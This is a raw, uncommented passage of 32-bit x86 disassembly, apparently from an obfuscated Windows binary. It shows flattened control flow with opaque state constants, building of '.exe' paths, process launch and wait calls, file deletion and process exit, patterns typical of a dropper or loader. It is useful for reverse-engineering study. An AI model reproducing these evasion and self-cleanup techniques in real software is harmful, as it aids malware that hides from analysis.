mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0x464], eax
mov eax, esp
mov dword [eax + 0xc], ecx
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov eax, dword [esi + 0x464]
call eax
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0xae0]
mov edi, dword [0x530b04]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x460], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0xab4]
mov edi, dword [0x530aec]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x45c], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cbc]
mov edx, dword [0x530ae4]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [ebx + 8], 1
mov dword [esi + 0x458], eax
call ecx
mov ecx, dword [0x530cb8]
mov edx, dword [esi + 0xae8]
mov edi, dword [0x530b34]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0x454], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0xc], 0x10
call ecx
mov ecx, dword [0x530ccc]
mov edx, dword [0x530b0c]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x450], eax
call ecx
mov ecx, dword [esi + 0xa90]
mov dword [ecx], eax
mov eax, dword [0x530cb4]
mov ecx, dword [esi + 0xa74]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa74]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x44c], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa7c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x448], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa7c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x444], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa90]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x440], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa6c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x43c], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa6c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x438], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa70]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x434], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa70]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x430], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa68]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x42c], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa88]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x428], eax
call ecx
mov dword [esi + 0x424], eax
call fcn.0041e76b
mov ecx, 5
xor edx, edx
div ecx
mov eax, dword [edx*4 + 0x4ee498]
mov ecx, dword [esi + 0xaa0]
mov dword [ecx], eax
mov eax, dword [esi + 0xaa0]
mov eax, dword [eax]
movzx eax, word [eax]
mov ecx, dword [esi + 0xaf4]
mov dword [ecx], eax
mov eax, dword [esi + 0xaa0]
mov eax, dword [eax]
movzx eax, word [eax]
mov ecx, dword [esi + 0xb30]
mov dword [ecx], eax
mov eax, dword [esi + 0xb30]
mov eax, dword [eax]
add eax, 0x86f5bbc2
add eax, 1
sub eax, 0x86f5bbc2
mov ecx, dword [esi + 0xaa0]
mov ecx, dword [ecx]
movzx eax, word [ecx + eax*2]
mov ecx, dword [esi + 0xb34]
mov dword [ecx], eax
mov eax, dword [esi + 0xb34]
mov eax, dword [eax]
mov ecx, dword [esi + 0xaa0]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xb30]
mov edx, dword [edx]
shl edx, 1
add ecx, edx
add ecx, 4
mov edx, dword [esi + 0xaa0]
mov edx, dword [edx]
add edx, 2
mov edi, dword [esi + 0xb30]
mov edi, dword [edi]
mov ebx, dword [esi + 0xaa8]
sub esp, 0x14
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
call fcn.00451fe0
add esp, 0x14
mov eax, 0x104
mov ecx, dword [esi + 0xaf4]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xaa8]
mov edi, dword [esi + 0xac8]
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esi + 0x420], eax
call fcn.004023d0
add esp, 0x10
lea ecx, str..exe
mov edx, 4
mov edi, 0xd0fa6870
mov ebx, dword [esi + 0xaf4]
mov ebx, dword [ebx]
add edi, 0x104
sub edi, ebx
sub edi, 0xd0fa6870
mov ebx, dword [esi + 0xac8]
mov dword [esi + 0x41c], eax
mov eax, dword [esi + 0xaf4]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esi + 0x418], edx
call fcn.004023d0
add esp, 0x10
mov ecx, 0x104
mov edx, dword [esi + 0xaf4]
mov edx, dword [edx]
mov edi, dword [esi + 0xaa8]
mov ebx, dword [esi + 0xacc]
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esi + 0x414], eax
mov dword [esi + 0x410], ecx
call fcn.004023d0
add esp, 0x10
lea ecx, str.32.exe
mov edx, 6
mov edi, 0x104
mov ebx, dword [esi + 0xaf4]
mov ebx, dword [ebx]
sub edi, 0x8146e5f3
sub edi, ebx
add edi, 0x8146e5f3
mov ebx, dword [esi + 0xacc]
mov dword [esi + 0x40c], eax
mov eax, dword [esi + 0xaf4]
mov eax, dword [eax]
shl eax, 1
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 6
mov dword [esi + 0x408], edx
call fcn.004023d0
add esp, 0x10
mov ecx, 0
mov edx, dword [0x4ee4ac]
movzx edx, byte [edx]
mov edi, dword [esi + 0xb38]
mov dword [edi], edx
mov edx, dword [esi + 0xb38]
mov edx, dword [edx]
sub ecx, 1
sub edx, ecx
mov ecx, dword [0x4ee4ac]
movzx ecx, byte [ecx + edx]
mov edx, dword [esi + 0xb3c]
mov dword [edx], ecx
mov ecx, dword [esi + 0xb3c]
mov ecx, dword [ecx]
mov edx, dword [0x4ee4ac]
mov edi, dword [esi + 0xb38]
add edx, dword [edi]
add edx, 2
mov edi, dword [0x4ee4ac]
add edi, 1
mov ebx, dword [esi + 0xb38]
mov ebx, dword [ebx]
mov dword [esi + 0x404], eax
mov eax, dword [esi + 0xaec]
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.0043ed50
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b14]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0xa94]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [esi + 0xac8]
mov edx, dword [0x530aec]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [ebx], edi
call eax
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0xacc]
mov edi, dword [0x530af4]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x400], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc0]
mov edx, dword [0x530af0]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [ebx + 8], str.Microsoft
mov dword [esi + 0x3fc], eax
call ecx
mov ecx, dword [0x530cb8]
mov edx, dword [esi + 0xaec]
mov edi, dword [0x530b2c]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0x10
mov dword [esi + 0x3f8], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
mov dword [eax + 0xc], 0x10
call ecx
mov ecx, dword [0x530ccc]
mov edx, dword [0x530b18]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3f4], eax
call ecx
mov ecx, dword [esi + 0xa98]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [0x530aec]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 0xc
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
mov dword [edi + 8], 0x45e020
call eax
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa98]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3f0], eax
call ecx
mov ecx, dword [0x4ee4b0]
movzx ecx, word [ecx]
mov edx, dword [esi + 0xb40]
mov dword [edx], ecx
mov ecx, dword [esi + 0xb40]
mov ecx, dword [ecx]
sub ecx, 0x499b9e06
add ecx, 1
add ecx, 0x499b9e06
mov edx, dword [0x4ee4b0]
shl ecx, 1
add edx, ecx
movzx ecx, word [edx]
mov edx, dword [esi + 0xb44]
mov dword [edx], ecx
mov ecx, dword [esi + 0xb44]
mov ecx, dword [ecx]
mov edx, dword [0x4ee4b0]
mov edi, dword [esi + 0xb40]
mov edi, dword [edi]
shl edi, 1
add edx, edi
add edx, 4
mov edi, dword [0x4ee4b0]
add edi, 2
mov ebx, dword [esi + 0xb40]
mov ebx, dword [ebx]
mov dword [esi + 0x3ec], eax
mov eax, dword [esi + 0xae4]
sub esp, 0x14
mov dword [esp], eax
mov dword [esp + 4], ebx
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call fcn.00451fe0
add esp, 0x14
mov eax, dword [0x530ccc]
mov ecx, dword [0x530b1c]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 8
mov edi, esp
mov dword [edi + 4], ecx
mov dword [edi], edx
call eax
mov ecx, dword [esi + 0xa9c]
mov dword [ecx], eax
mov eax, dword [0x530cc0]
mov ecx, dword [esi + 0xae4]
mov edx, dword [0x530aec]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 0xc
mov ebx, esp
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [ebx], edi
call eax
mov ecx, dword [0x530cc0]
mov edx, dword [esi + 0xac0]
mov edi, dword [0x530af8]
mov ebx, dword [esi + 0xa60]
mov ebx, dword [ebx]
sub esp, 0xc
mov dword [esi + 0x3e8], eax
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax + 4], edi
mov dword [eax], ebx
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa9c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3e4], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa94]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3e0], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa88]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3dc], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa68]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3d8], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa80]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3d4], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa84]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3d0], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa84]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3cc], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa80]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3c8], eax
call ecx
mov ecx, dword [0x530cb4]
mov edx, dword [esi + 0xa78]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3c4], eax
call ecx
mov ecx, dword [0x530cb0]
mov edx, dword [esi + 0xa78]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3c0], eax
call ecx
mov ecx, dword [0x530cc8]
mov edx, dword [esi + 0xa8c]
mov edx, dword [edx]
mov edi, dword [esi + 0xa60]
mov edi, dword [edi]
sub esp, 8
mov ebx, esp
mov dword [ebx + 4], edx
mov dword [ebx], edi
mov dword [esi + 0x3bc], eax
call ecx
mov ecx, dword [0x530cd8]
mov edx, dword [esi + 0xa60]
mov edx, dword [edx]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x3b8], eax
call ecx
mov eax, 0x20a
mov ecx, dword [esi + 0xadc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], 0x20a
mov dword [esi + 0x3b4], eax
call fcn.00430660
add esp, 8
mov eax, dword [0x530d24]
mov ecx, dword [esi + 0xadc]
sub esp, 0xc
mov edx, esp
mov dword [edx + 8], ecx
mov dword [edx + 4], 0
mov dword [edx], 0
call eax
mov ecx, 0x52c7066e
mov edx, dword [esi + 0xa54]
mov dword [edx], eax
mov eax, dword [esi + 0xa54]
cmp dword [eax], 0
sete al
and al, 1
mov byte [esi + 0xb56], al
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, 0x63a2efb4
mov ecx, 0x719e0cd8
mov dl, byte [esi + 0xb56]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xac0]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0xad4]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x3b0], eax
call fcn.0044a600
add esp, 4
mov dword [esi + 0xa48], 0x6860705c
jmp 0x43a2cd
mov eax, dword [esi + 0xa54]
mov eax, dword [eax]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
mov ecx, 0x1651cd8b
mov edx, 0x2d7c4878
mov edi, dword [esi + 0xb08]
mov dword [edi], eax
mov eax, dword [esi + 0xb08]
cmp dword [eax], 0
cmovne ecx, edx
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, dword [esi + 0xac0]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0xad4]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x388], eax
call fcn.0044a600
add esp, 4
mov dword [esi + 0xa48], 0x6860705c
jmp 0x43a2cd
mov eax, dword [0x52f984]
sub esp, 4
mov dword [esp], eax
call fcn.00402860
add esp, 4
shl eax, 1
mov ecx, dword [esi + 0xb00]
mov dword [ecx], eax
mov dword [esi + 0xa48], 0x2ddb23b9
jmp 0x43a2cd
mov eax, dword [esi + 0xac0]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0xad4]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x380], eax
call fcn.0044a600
add esp, 4
mov dword [esi + 0xa48], 0x6860705c
jmp 0x43a2cd
mov eax, 0x7316b1b9
mov ecx, 0x1e29236f
mov dl, byte [esi + 0xb57]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0xe1010c80
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xb04]
mov eax, dword [eax]
mov ecx, dword [esi + 0xa50]
mov ecx, dword [ecx]
mov dword [ecx], eax
mov eax, dword [esi + 0xaf8]
mov eax, dword [eax]
mov ecx, dword [esi + 0xa50]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
mov eax, dword [esi + 0xaf8]
mov eax, dword [eax]
mov ecx, dword [esi + 0xad4]
mov edx, dword [esi + 0xaf8]
mov edx, dword [edx]
mov edi, dword [esi + 0xa50]
mov edi, dword [edi]
add edi, 8
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call fcn.004023d0
add esp, 0x10
mov ecx, 0xf8d76e8c
mov edx, 8
mov edi, 0
mov ebx, dword [esi + 0xb00]
mov ebx, dword [ebx]
mov dword [esi + 0x378], eax
mov eax, dword [esi + 0xa50]
mov eax, dword [eax]
mov dword [esi + 0x374], eax
mov eax, dword [esi + 0xaf8]
mov eax, dword [eax]
sub edi, eax
sub edx, edi
mov eax, dword [esi + 0x374]
mov dword [eax + edx], ebx
cmp dword [0x52f984], 0
setne al
and al, 1
mov byte [esi + 0xb58], al
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, 0x4c89784a
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 8
mov ecx, dword [esi + 0xb00]
mov ecx, dword [ecx]
mov edx, dword [0x52f984]
mov edi, dword [esi + 0xb00]
mov edi, dword [edi]
mov ebx, dword [esi + 0xa50]
mov ebx, dword [ebx]
mov dword [esi + 0x370], eax
mov eax, dword [esi + 0xaf8]
mov eax, dword [eax]
mov dword [esi + 0x36c], eax
mov eax, dword [esi + 0x370]
sub eax, 0xba46236b
mov dword [esi + 0x368], ecx
mov ecx, dword [esi + 0x36c]
add eax, ecx
add eax, 0xba46236b
add eax, 0xc571d993
add eax, 4
sub eax, 0xc571d993
add ebx, eax
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov eax, dword [esi + 0x368]
mov dword [esp + 0xc], eax
call fcn.004023d0
add esp, 0x10
mov ecx, 0x5644a11f
mov dword [esi + 0xa48], ecx
mov dword [esi + 0x364], eax
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x1303fc19
jmp 0x43a2cd
mov eax, 0xd9da456d
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa64]
mov eax, dword [eax + 0x38]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
mov ecx, dword [0x530ce4]
sub esp, 0x10
mov edx, esp
mov dword [edx + 0xc], 0
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx], 0
mov dword [esi + 0x35c], eax
call ecx
mov ecx, dword [esi + 0xac8]
mov edx, dword [esi + 0xa64]
mov dword [edx + 0x10], ecx
mov ecx, dword [esi + 0xa64]
mov dword [ecx + 0x14], 0
mov ecx, dword [esi + 0xa64]
mov dword [ecx + 0x1c], 1
mov ecx, dword [0x530ce8]
mov edx, dword [esi + 0xa64]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x358], eax
call ecx
mov ecx, 0x25d10247
cmp eax, 1
setne bl
and bl, 1
mov byte [esi + 0xb59], bl
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, dword [esi + 0xac0]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov ecx, dword [esi + 0xad4]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x354], eax
call fcn.0044a600
add esp, 4
mov dword [esi + 0xa48], 0x6860705c
jmp 0x43a2cd
mov eax, dword [esi + 0xa64]
mov eax, dword [eax + 0x38]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
mov ecx, dword [esi + 0xa58]
mov ecx, dword [ecx]
sub esp, 8
mov edx, esp
mov dword [edx], ecx
mov dword [edx + 4], 0xffffffff
mov ecx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esi + 0x350], eax
call ecx
mov ecx, 0x8baf884a
mov edx, 0x8bb0fc8
cmp eax, 0
cmovne ecx, edx
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov dword [esi + 0xa48], 0x6860705c
jmp 0x43a2cd
mov eax, 0
mov ecx, 0x20a
mov edx, dword [esi + 0xad8]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x20a
mov dword [esi + 0x34c], eax
mov dword [esi + 0x348], ecx
call fcn.0042fb90
add esp, 0xc
mov ecx, 0x104
lea edx, str._q__u
mov edi, 6
mov ebx, dword [esi + 0xad8]
sub esp, 0x10
mov dword [esp], ebx
mov dword [esp + 4], 0x104
mov dword [esp + 8], edx
mov dword [esp + 0xc], 6
mov dword [esi + 0x344], eax
mov dword [esi + 0x340], ecx
mov dword [esi + 0x33c], edi
call fcn.004023d0
add esp, 0x10
mov ecx, dword [esi + 0xab8]
sub esp, 4
mov dword [esp], ecx
mov dword [esi + 0x338], eax
call fcn.00402860
add esp, 4
mov ecx, 0xfe
mov edx, dword [esi + 0xab8]
mov edi, dword [esi + 0xad8]
add edi, 0xc
sub esp, 0x10
mov dword [esp], edi
mov dword [esp + 4], 0xfe
mov dword [esp + 8], edx
mov dword [esp + 0xc], eax
mov dword [esi + 0x334], ecx
call fcn.004023d0
add esp, 0x10
mov ecx, dword [esi + 0xaac]
mov edx, dword [esi + 0xa64]
mov dword [edx + 0x10], ecx
mov ecx, dword [esi + 0xad8]
mov edx, dword [esi + 0xa64]
mov dword [edx + 0x14], ecx
mov ecx, dword [esi + 0xa64]
mov dword [ecx + 0x1c], 0
mov ecx, dword [0x530ce8]
mov edx, dword [esi + 0xa64]
sub esp, 4
mov edi, esp
mov dword [edi], edx
mov dword [esi + 0x330], eax
call ecx
mov ecx, 0x64e0bce8
mov edx, 0x4874c0fb
cmp eax, 1
cmovne ecx, edx
mov dword [esi + 0xa48], ecx
jmp 0x43a2cd
mov eax, dword [esi + 0xa64]
mov eax, dword [eax + 0x38]
sub esp, 8
mov ecx, esp
mov dword [ecx], eax
mov dword [ecx + 4], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call eax
mov ecx, dword [0x530ce4]
sub esp, 0x10
mov edx, esp
mov dword [edx + 0xc], 0
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx], 0
mov dword [esi + 0x32c], eax
call ecx
mov ecx, dword [esi + 0xb14]
mov dword [ecx], 1
mov dword [esi + 0xa48], 0x6860705c
mov dword [esi + 0x328], eax
jmp 0x43a2cd
mov eax, 0x36fe1fa3
mov ecx, 0x49311eb7
mov edx, dword [esi + 0xa50]
cmp dword [edx], 0
cmovne eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x82e62600
mov ecx, dword [esi + 0xa5c]
cmp dword [ecx], 0
setne dl
and dl, 1
mov byte [esi + 0xb5a], dl
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x15830760
mov ecx, 0xc8c363ce
mov dl, byte [esi + 0xb5a]
test dl, 1
cmovne eax, ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x959abd23
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa5c]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov ecx, 0x2f28595
mov dword [esi + 0xa48], ecx
mov dword [esi + 0x320], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa58]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov dword [esi + 0xa48], 0xda006e8
mov dword [esi + 0x31c], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa54]
mov eax, dword [eax]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
mov dword [esi + 0xa48], 0x3bbb7fde
mov dword [esi + 0x318], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xab8]
sub esp, 4
mov ecx, esp
mov dword [ecx], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
call eax
mov dword [esi + 0x314], eax
call fcn.00432bb0
mov eax, 0xc646579
mov ecx, dword [esi + 0xb14]
cmp dword [ecx], 0
setne dl
and dl, 1
mov byte [esi + 0xb5b], dl
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0xe8ba3988
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
sub esp, 4
mov eax, esp
mov dword [eax], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov eax, 0x378c053f
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0xf7090131
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, 0x1c09b3ca
mov ecx, dword [esi + 0xb14]
mov ecx, dword [ecx]
mov edx, dword [esi + 0xa4c]
mov dword [edx], ecx
mov dword [esi + 0xa48], eax
jmp 0x43a2cd
mov eax, dword [esi + 0xa4c]
mov eax, dword [eax]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, 0
mov ecx, 0x28
mov edx, dword [esi + 0xb18]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0x28
mov dword [esi + 0x210], eax
mov dword [esi + 0x20c], ecx
